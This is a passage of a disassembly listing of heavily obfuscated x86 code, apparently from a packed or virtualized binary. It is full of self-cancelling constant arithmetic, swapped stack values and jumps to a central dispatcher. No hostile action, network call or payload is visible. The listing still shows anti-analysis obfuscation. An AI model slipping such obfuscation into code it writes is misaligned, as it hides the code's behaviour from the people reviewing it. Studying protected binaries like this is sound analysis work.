--------------------------------------------------------------------------- loc_58DFF2: ; CODE XREF: sdfs____:0058F257j push eax jmp loc_592976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_58DFF8: ; CODE XREF: sub_58CDE6:loc_594947j jmp loc_58C294 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58DFFD: ; CODE XREF: sub_59841F-6FEFj mov ebx, [esp+0] add esp, 4 dec ebx jle loc_597DF0 inc ebx jle loc_59013E push ecx jmp loc_5972E0 ; END OF FUNCTION CHUNK FOR sub_59841F ; =============== S U B R O U T I N E ======================================= sub_58E01A proc near ; CODE XREF: sub_5BB696-26DA0j ; sub_598A21-145Cj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CBB3 SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], ebp push edx push [esp+8+var_4] pop edx pop [esp+8+var_8] not edx xchg edx, [esp+4+var_4] mov ebp, [esp+4+var_4] add esp, 4 jmp loc_58CBB3 sub_58E01A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E03F: ; CODE XREF: sub_594228+4A63j sub [esp-0Ah+arg_A], 4E221221h add [esp-0Ah+arg_A], ebx add [esp-0Ah+arg_A], 4E221221h jmp loc_58B9F5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E058: ; CODE XREF: sdfs____:0058C47Fj add eax, 4E393C83h add eax, ebx sub eax, 4E393C83h jmp loc_58FC1C ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_58EC72 ; --------------------------------------------------------------------------- loc_58E075: ; CODE XREF: sdfs____:00595E9Ej add esi, 63254EE0h pop ecx xchg esi, [esp] jmp loc_595CA9 ; --------------------------------------------------------------------------- loc_58E084: ; CODE XREF: sdfs____:0058FFE2j sub [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E08E: ; CODE XREF: sub_594228-29A9j xor edi, 3F6528A7h jmp loc_59431A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58E099: ; CODE XREF: sub_5985AE+2j mov edi, esp add edi, 4 jmp loc_59260B ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_58E0A6: ; CODE XREF: sub_590CC3+53D4j mov [esp+8+var_8], eax mov eax, 14FB5CC3h xor eax, 14FB5CEFh push eax add [esp+0Ch+var_C], 4B4557B3h pop ebx sub ebx, 4B4557B3h pop eax mov ecx, ebx mov ebx, [esp+4+var_4] jmp loc_596426 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_58E0CD: ; CODE XREF: sdfs____:00595A47j pop ebx push eax push ebx mov bl, 92h mov al, 0CFh xor al, bl jmp loc_58DC1A ; --------------------------------------------------------------------------- loc_58E0DB: ; CODE XREF: sdfs____:00595B71j xchg edx, [esp] jmp loc_58EDF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58E0E3: ; CODE XREF: sub_5962EB-216Cj jmp loc_5946E4 ; --------------------------------------------------------------------------- loc_58E0E8: ; CODE XREF: sub_5962EB-95F0j push edx push esp pop edx jmp loc_5930FF ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_58E0F0: ; CODE XREF: sub_596F8A-6873j push esp pop edi jmp loc_58F7DF ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- loc_58E0F7: ; CODE XREF: sdfs____:0058F08Ej neg esi sub esi, 0C5E70D2Fh add ebp, esi pop esi add edi, ebp mov ebp, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_5928CD ; --------------------------------------------------------------------------- loc_58E114: ; CODE XREF: sdfs____:00595DDAj mov eax, 75562F6Ah jmp loc_596D75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58E11E: ; CODE XREF: sub_591370+6393j add esp, 4 mov edx, edi pop edi add edx, edi push 3B70h mov [esp-14h+arg_10], eax mov eax, 2E0D59B4h jmp loc_58EE77 ; --------------------------------------------------------------------------- loc_58E13B: ; CODE XREF: sub_591370-F2Dj pop edx push 2193h jmp loc_5982B5 ; END OF FUNCTION CHUNK FOR sub_591370 ; =============== S U B R O U T I N E ======================================= sub_58E146 proc near ; CODE XREF: sub_5985AE-6E74j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D188 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D5DD SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0059098B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005913E8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059321D SIZE 00000008 BYTES sub esp, 4 jmp loc_5913E8 sub_58E146 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_58E151: ; CODE XREF: sub_596736-7CC6j sub eax, ecx pop ecx add ebp, eax pop eax add ebp, 4 xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] jmp loc_593FB0 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_58E168: ; CODE XREF: sdfs____:00591C8Dj pop ebx mov cx, [esp] add esp, 2 sub al, 8Ah sub al, bl push edx jmp loc_591AC7 ; --------------------------------------------------------------------------- loc_58E17A: ; CODE XREF: sdfs____:00594F50j add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp push 297Dh mov [esp], ebx mov ebx, 38h sub ebx, 627250BFh add ebx, edi add ebx, 627250BFh push edx mov edx, 0 add edx, ebx push ebx jmp loc_595F92 ; --------------------------------------------------------------------------- loc_58E1B0: ; CODE XREF: sdfs____:0059282Fj mov edx, [esp] add esp, 4 add ecx, 2 xchg ecx, [esp] mov esp, [esp] add [esp], al pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58E1CB: ; CODE XREF: sdfs____:00595933j pop ecx xor ebx, [esp] jmp loc_595371 ; --------------------------------------------------------------------------- loc_58E1D4: ; CODE XREF: sdfs____:00591B91j push 0E9Ah mov [esp], edx mov edx, 0 sub edx, ebp xchg edx, ebp jmp loc_58C564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E1EA: ; CODE XREF: sub_591435-21CAj xor ch, al pop ax add al, ch pop ecx add al, 1 sub al, bl sub al, 1 sub al, 0C4h pop ebx push edx mov dh, 9Bh xor dh, 38h shr dh, 5 push small 57B7h mov word ptr [esp+14h+var_14], ax mov al, 8Eh sub dh, 4Eh add dh, 78h sub dh, al sub dh, 78h add dh, 4Eh jmp loc_59610A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E220: ; CODE XREF: sub_594228-39C4j mov ebx, 6C594D1Dh jmp loc_58F9BB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push 1B45h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_590705 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E243: ; CODE XREF: sub_591435+69C9j mov eax, 1B370654h jmp loc_594530 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58E24D: ; CODE XREF: sub_5987BC-BC49j xchg eax, edi xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax jmp loc_58F217 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58E25C: ; CODE XREF: sub_5917C0-2E9Bj pop edi push ebx jmp loc_58FAF2 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58E263: ; CODE XREF: sub_59587A+2AA4j add ebp, 0C5B3D51h push edx mov edx, 0EEE9D2AFh add ebp, edx pop edx push ebp pop ecx jmp loc_594808 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_58E279: ; CODE XREF: sdfs____:005906F5j push ecx mov ecx, 4 jmp loc_58E60A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_594C28 ; --------------------------------------------------------------------------- loc_58E28D: ; CODE XREF: sdfs____:0058F100j mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp jmp loc_58E2CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E2A4: ; CODE XREF: sub_591435-18C5j xchg eax, [esp+0Ch+var_C] jmp loc_591AB3 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58E2AC: ; CODE XREF: sub_598A21+1j mov ebp, 1FEC2E87h and ebp, 5E1E28E9h shr ebp, 8 jmp loc_591E08 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- loc_58E2BF: ; CODE XREF: sdfs____:0058EA91j inc ebp sub esp, 4 jmp loc_5989F8 ; --------------------------------------------------------------------------- loc_58E2CB: ; CODE XREF: sdfs____:0058E29Fj mov [esp], cx mov ch, 0E3h push dx mov dh, 0Dh push ecx mov ch, 0A1h inc ch and ch, 0C9h neg ch xor ch, 0BCh xor ch, 0Eh add al, ch pop ecx add al, dh sub al, 32h pop dx sub al, 0A5h sub al, ch add al, 0A5h sub esp, 2 mov [esp], dx jmp loc_5946E4 ; --------------------------------------------------------------------------- loc_58E303: ; CODE XREF: sdfs____:00596061j add edx, edi pop edi push ebx mov ebx, 4E603423h jmp loc_59436B ; --------------------------------------------------------------------------- loc_58E311: ; CODE XREF: sdfs____:005952A3j shl ebx, 2 jmp loc_597A7D ; --------------------------------------------------------------------------- loc_58E319: ; CODE XREF: sdfs____:0058C231j mov [esp], ebp push esp pop ebp add ebp, 4 push edx push ecx jmp loc_5940C9 ; --------------------------------------------------------------------------- loc_58E32B: ; CODE XREF: sdfs____:00596D70j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_58DC08 ; --------------------------------------------------------------------------- mov ax, [esp] push 3803h jmp loc_58E97C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58E347: ; CODE XREF: sub_5962EB-4A35j and eax, 0C6F22DFh jmp loc_5983AD ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BDAA loc_58E351: ; CODE XREF: sub_58BDAA+F13j pop ebp push ebp mov ebp, esp jmp loc_591FD9 ; END OF FUNCTION CHUNK FOR sub_58BDAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E35A: ; CODE XREF: sub_594228-4B80j or esi, 5B632F5Bh jmp loc_5940E2 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E365: ; CODE XREF: sdfs____:005932B7j pop esi pop dword ptr [esp] pop esp add esp, 4 bswap eax push 2CB1h mov [esp], eax jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E37C: ; CODE XREF: sub_591435-411j push 4 push [esp+14h+var_14] pop ecx jmp loc_596E4A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- lodsd jmp loc_58CBF1 ; --------------------------------------------------------------------------- loc_58E390: ; CODE XREF: sdfs____:0059345Fj xor ebp, ecx xor ecx, ebp dec ebp xchg ebp, ecx sub ecx, 57471FF8h jmp loc_592C3E ; --------------------------------------------------------------------------- loc_58E3A2: ; CODE XREF: sdfs____:0059736Aj mov ecx, [esp] jmp loc_5957AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E3AA: ; CODE XREF: sub_594228+3608j push dword ptr [edi+eax*4] jmp loc_58C3DE ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E3B2: ; CODE XREF: sdfs____:0058C114j sub esi, ebp pop ebp add ebx, esi jmp loc_58EC07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58E3BC: ; CODE XREF: sub_59841F-B487j xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp sub [esp-4+arg_0], eax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58E3CF: ; CODE XREF: sdfs____:0058E444j sub eax, ebp pop ebp jmp loc_58CA6A ; --------------------------------------------------------------------------- loc_58E3D7: ; CODE XREF: sdfs____:0058DA82j ; sdfs____:00594E47j neg eax push edx mov edx, 488764Ch not edx jmp loc_590AB1 ; --------------------------------------------------------------------------- loc_58E3E6: ; CODE XREF: sdfs____:0058D14Cj xor edi, 0DE1C581Fh jmp loc_5911DD ; --------------------------------------------------------------------------- loc_58E3F1: ; CODE XREF: sdfs____:00596757j add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58E408: ; CODE XREF: sdfs____:005924B0j pop eax push ecx push 3BFDh jmp loc_591353 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58E41C: ; CODE XREF: sub_591370-4F97j sub bh, 57h jb loc_594D19 jmp loc_594254 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_58E42A: ; CODE XREF: sub_590CC3+5787j push dword ptr [esp+0] pop ecx add esp, 4 push 3BCCh mov [esp+0], eax jmp loc_58BD13 ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- loc_58E43E: ; CODE XREF: sdfs____:00591945j xor ebp, 3262DFDDh jmp loc_58E3CF ; --------------------------------------------------------------------------- loc_58E449: ; CODE XREF: sdfs____:0058C082j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_597CE3 loc_58E44E: ; CODE XREF: sub_597CE3-4CBj mov eax, [esp+0] add esp, 4 jmp sub_591435 ; END OF FUNCTION CHUNK FOR sub_597CE3 ; --------------------------------------------------------------------------- loc_58E45C: ; CODE XREF: sdfs____:0058BD83j ; sdfs____:0058BE8Ej push edi push esp pop edi push ecx mov ecx, 6A7C2D23h and ecx, 7FDC2ACDh neg ecx sub ecx, 95A3D7FBh add edi, ecx pop ecx push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] pop esp add eax, ebx push edi jmp loc_596B3A ; --------------------------------------------------------------------------- loc_58E48B: ; CODE XREF: sdfs____:0059239Aj not esi add esi, 0D422F9B5h jmp loc_5988F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E498: ; CODE XREF: sub_594228:loc_58CD7Ej jmp loc_59349D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E49D: ; CODE XREF: sdfs____:0058BB76j push ebx jmp loc_5963A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58E4A3: ; CODE XREF: sub_59214E-4352j mov eax, [esp+0] jmp loc_596869 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58E4AB: ; CODE XREF: sub_5987BC-F69j add al, 0AFh add al, dh sub al, 0AFh mov edx, [esp-4+arg_0] jmp loc_58DC3F ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E4B9: ; CODE XREF: sub_591435+330Ej sub edx, edi pop edi add ebx, 1621FAFh sub ebx, edx sub ebx, 1621FAFh mov edx, [esp+0Ah+var_C+2] add esp, 4 push dword ptr [ebx] xor [esp+0Ah+var_C+2], 3E597BDFh pop ecx jmp sub_58BDAA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_58E4E2: ; CODE XREF: sub_59377D+2ABFj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+4+var_4] pop esp mov [esp+0], esi push ebp push eax mov eax, 1 mov ebp, eax pop eax push ebp push esi jmp loc_591DD8 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_58E508: ; CODE XREF: sdfs____:005920FDj mov edx, [esp] jmp loc_594DB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_58E510: ; CODE XREF: sub_594F18-1E93j or eax, eax jz sub_596F8A push dword ptr [edi+1Ch] jmp loc_5948B3 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_58E520: ; CODE XREF: sdfs____:00598CE3j push eax mov al, 0CEh jmp loc_598D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E528: ; CODE XREF: sub_594228+3A6Fj add dword ptr [ebx], 1 mov ebx, [esp+1Eh+var_20+2] add esp, 4 jmp loc_596678 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E539: ; CODE XREF: sdfs____:00594162j sub esp, 4 mov [esp], ebp push 165Bh mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push esi push 4 mov esi, [esp] add esp, 4 add ebp, 26EA6597h add ebp, esi sub ebp, 26EA6597h jmp loc_594CA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58E579: ; CODE XREF: sub_5962EB-E5Dj pop ebx jmp loc_595CCA ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58E57F: ; CODE XREF: sdfs____:00592914j add edx, 4 jmp loc_592E0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58E58A: ; CODE XREF: sub_591370+2EF4j inc ch push eax jmp loc_592159 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58E592: ; CODE XREF: sdfs____:0058F1F7j pop esp jmp loc_597DA9 ; --------------------------------------------------------------------------- loc_58E598: ; CODE XREF: sdfs____:0058FFAFj add edi, esi pop esi pop esi add edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp btc [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58E5BF: ; CODE XREF: sub_5962EB-53F1j mov ecx, esp push esi mov esi, 6ADC7F80h and esi, 63445454h jmp loc_58CB0E ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58E5D2: ; CODE XREF: sdfs____:00593937j pop ecx xchg ebx, [esp] pop esp sar byte ptr [esp], cl pushf jmp loc_59015A ; --------------------------------------------------------------------------- loc_58E5E0: ; CODE XREF: sdfs____:loc_5950BBj add edi, 24EF4273h jmp loc_596E9B ; --------------------------------------------------------------------------- loc_58E5EB: ; CODE XREF: sdfs____:0059570Bj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_59255C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58E5FC: ; CODE XREF: sub_591370+D2Aj push edx push edi push ebx jmp loc_58D728 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58E604: ; CODE XREF: sdfs____:00598977j pop esp jmp loc_595EC8 ; --------------------------------------------------------------------------- loc_58E60A: ; CODE XREF: sdfs____:0058E27Fj add eax, ecx pop ecx add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_591032 ; --------------------------------------------------------------------------- loc_58E61B: ; CODE XREF: sdfs____:0058ED89j add ecx, 2F8E1074h sub ecx, 22CC0ED8h pop eax xchg ecx, [esp] pop esp push eax mov eax, esp jmp loc_5920BD ; --------------------------------------------------------------------------- loc_58E634: ; CODE XREF: sdfs____:00593B3Ej push edi mov edi, 0AD47462h add esi, edi pop edi pop edi push ebx jmp loc_598211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_58E644: ; CODE XREF: sub_58FA0A+Dj push esi mov esi, ebx push esi pop edx jmp loc_59171D ; END OF FUNCTION CHUNK FOR sub_58FA0A ; --------------------------------------------------------------------------- loc_58E64E: ; CODE XREF: sdfs____:0058E78Aj pop edx jmp loc_591E31 ; --------------------------------------------------------------------------- loc_58E654: ; CODE XREF: sdfs____:0058FE68j mov edx, esp jmp loc_592DC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_58E65B: ; CODE XREF: sub_591AD9+5FDEj pop esp and eax, ebp jmp loc_58F486 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- loc_58E663: ; CODE XREF: sdfs____:0058D541j neg ebp jz loc_58BE94 inc ebp jl loc_58F4A6 add ebp, 427711B7h jmp loc_598397 ; --------------------------------------------------------------------------- push eax loc_58E67E: ; CODE XREF: sdfs____:00597712j pop ebp jmp loc_58BC3C ; --------------------------------------------------------------------------- loc_58E684: ; CODE XREF: sdfs____:00595DA6j add [esp+4], esi pop esi pop eax push ecx jmp loc_590EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E690: ; CODE XREF: sub_591435:loc_59036Fj xor eax, 9C578ACBh jmp loc_5982AD ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58E69A: ; CODE XREF: sdfs____:0058FD11j pop eax add eax, 0E85ECE7h add edi, eax jmp loc_593C60 ; --------------------------------------------------------------------------- loc_58E6A7: ; CODE XREF: sdfs____:00591C4Bj sub bh, ah sub bh, 34h mov eax, [esp] add esp, 4 sub al, 0E1h add al, bh add al, 0E1h mov ebx, [esp] add esp, 4 push eax push ebx mov bh, 0D9h jmp loc_598560 ; --------------------------------------------------------------------------- loc_58E6CD: ; CODE XREF: sdfs____:00591154j mov edx, 62E2593Bh sub edi, edx mov edx, [esp] add esp, 4 sub edi, edx jmp loc_597932 ; --------------------------------------------------------------------------- loc_58E6E4: ; CODE XREF: sdfs____:0058EEE7j btc [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58E6EF: ; CODE XREF: sdfs____:0058FAEDj add esp, 4 push ebx mov ebx, 2BB44B72h neg ebx dec ebx add ebx, 638333DDh xor ebx, 9DB253Ch jmp loc_58D19A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E70C: ; CODE XREF: sub_594228-30F6j push [esp+1Ah+var_1C+2] pop edi add esp, 4 jmp loc_596299 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58E718: ; CODE XREF: sdfs____:0058C700j mov esi, esp add esi, 4 push edi mov edi, 2 add esi, edi pop edi xchg esi, [esp] pop esp jmp loc_594362 ; --------------------------------------------------------------------------- loc_58E732: ; CODE XREF: sdfs____:005980EBj push edi mov edi, 0C8DF4975h sub eax, edi pop edi mov ebp, eax mov eax, [esp] add esp, 4 jmp loc_58E8C7 ; --------------------------------------------------------------------------- loc_58E748: ; CODE XREF: sdfs____:00593A92j push 5E17h mov [esp], ebp mov ebp, 4 push edi mov edi, 2C432F23h sub eax, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, ebp add eax, 2C432F23h pop ebp push 65A9h mov [esp], edx mov edx, 2 add eax, edx jmp loc_58E64E ; --------------------------------------------------------------------------- loc_58E78F: ; CODE XREF: sdfs____:0058CE7Fj xor edi, 0C5E3BB8h jbe loc_593D98 and edi, 7ECA5944h jmp loc_5950BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58E7A6: ; CODE XREF: sub_59841F-7D46j shr edi, 3 js loc_58BADF dec edi jge loc_58E8B0 not edi inc edi jo loc_5987F3 push esp lodsb xor al, bl sub esp, 2 mov word ptr [esp+8+var_8], dx mov dl, 4Bh add al, 9Ah jmp loc_590CBC ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58E7D3: ; CODE XREF: sub_591370+4BC7j sub eax, 517346D1h jmp loc_5910FC ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58E7DD: ; CODE XREF: sdfs____:00595FB7j mov dh, 3Fh add al, 0DEh add al, dh sub al, 0DEh pop edx add bl, al pop eax sub bl, 0B1h add bl, al jmp loc_598CDB ; --------------------------------------------------------------------------- lodsd add eax, 48D51614h sub eax, 0AE64377h push ebx mov ebx, 600B0C39h xchg esi, ebx not esi xchg esi, ebx add ebx, 5F026DB6h sub ebx, 45BE0536h add ebx, 8936BBBDh sub eax, 74064C17h jmp loc_58BDF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58E826: ; CODE XREF: sub_59576E-709j add ebp, eax add ebp, 542580Eh jmp loc_58FDA2 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_58E833: ; CODE XREF: sdfs____:00597910j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5973DC ; --------------------------------------------------------------------------- loc_58E847: ; CODE XREF: sdfs____:0059409Fj lodsd push ebp mov ebp, 5ADD3732h add eax, 1D103E89h add eax, ebp sub eax, 1D103E89h pop ebp push edi mov edi, 0A257855h shr edi, 8 or edi, 64E506BFh jmp loc_5984D6 ; --------------------------------------------------------------------------- loc_58E86F: ; CODE XREF: sdfs____:00598621j or ebp, edi jmp loc_58C4EB ; --------------------------------------------------------------------------- loc_58E876: ; CODE XREF: sdfs____:00591C00j add edi, ecx pop ecx push esi mov esi, 2C2850A4h inc esi jg loc_593FFA or esi, 280B0083h add al, 0A7h mov ecx, eax ; START OF FUNCTION CHUNK FOR sub_591435 loc_58E890: ; CODE XREF: sub_591435-5494j mov esi, 134A7C81h or esi, 16214C3Fh sub esi, 4A1C4C4Fh add esi, 0A2F6F7EAh sub ebp, esi pop esi push ecx jmp loc_5961BE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58E8B0: ; CODE XREF: sub_59841F-9C6Fj not edi inc edi jo loc_59792D jmp loc_58CD3E ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58E8BE: ; CODE XREF: sdfs____:00593D27j pop ebp push dword ptr [esp] jmp loc_5958F4 ; --------------------------------------------------------------------------- loc_58E8C7: ; CODE XREF: sdfs____:0058E743j add eax, ebp pop ebp add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] push edx mov edx, esp push eax mov eax, 9477A3Ah push edx jmp loc_58F98C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58E8EC: ; CODE XREF: sub_594228+1416j push 833h mov [esp+1Ah+var_1C+2], edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax pop eax jmp loc_594ED9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push edx jmp loc_592912 ; --------------------------------------------------------------------------- loc_58E916: ; CODE XREF: sdfs____:0059724Cj push ebx jmp loc_59778A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_58E91C: ; CODE XREF: sub_58FE99-22C6j push [esp+8+var_8] jmp loc_596C8C ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58E924: ; CODE XREF: sub_5917C0-4F9j pop esp jmp loc_58E25C ; END OF FUNCTION CHUNK FOR sub_5917C0 ; =============== S U B R O U T I N E ======================================= sub_58E92A proc near ; CODE XREF: sub_5917C0-5945j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BBF3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005900A0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005904A2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00593255 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005936B6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00594E53 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005988B7 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00598BB8 SIZE 0000002C BYTES sub esp, 4 mov [esp+4+var_4], edx mov dl, 8Ch mov ah, dl pop edx jmp loc_5904A2 sub_58E92A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58E93D: ; CODE XREF: sdfs____:0058EC54j pop edi mov ebx, edx jmp loc_59301E ; --------------------------------------------------------------------------- loc_58E945: 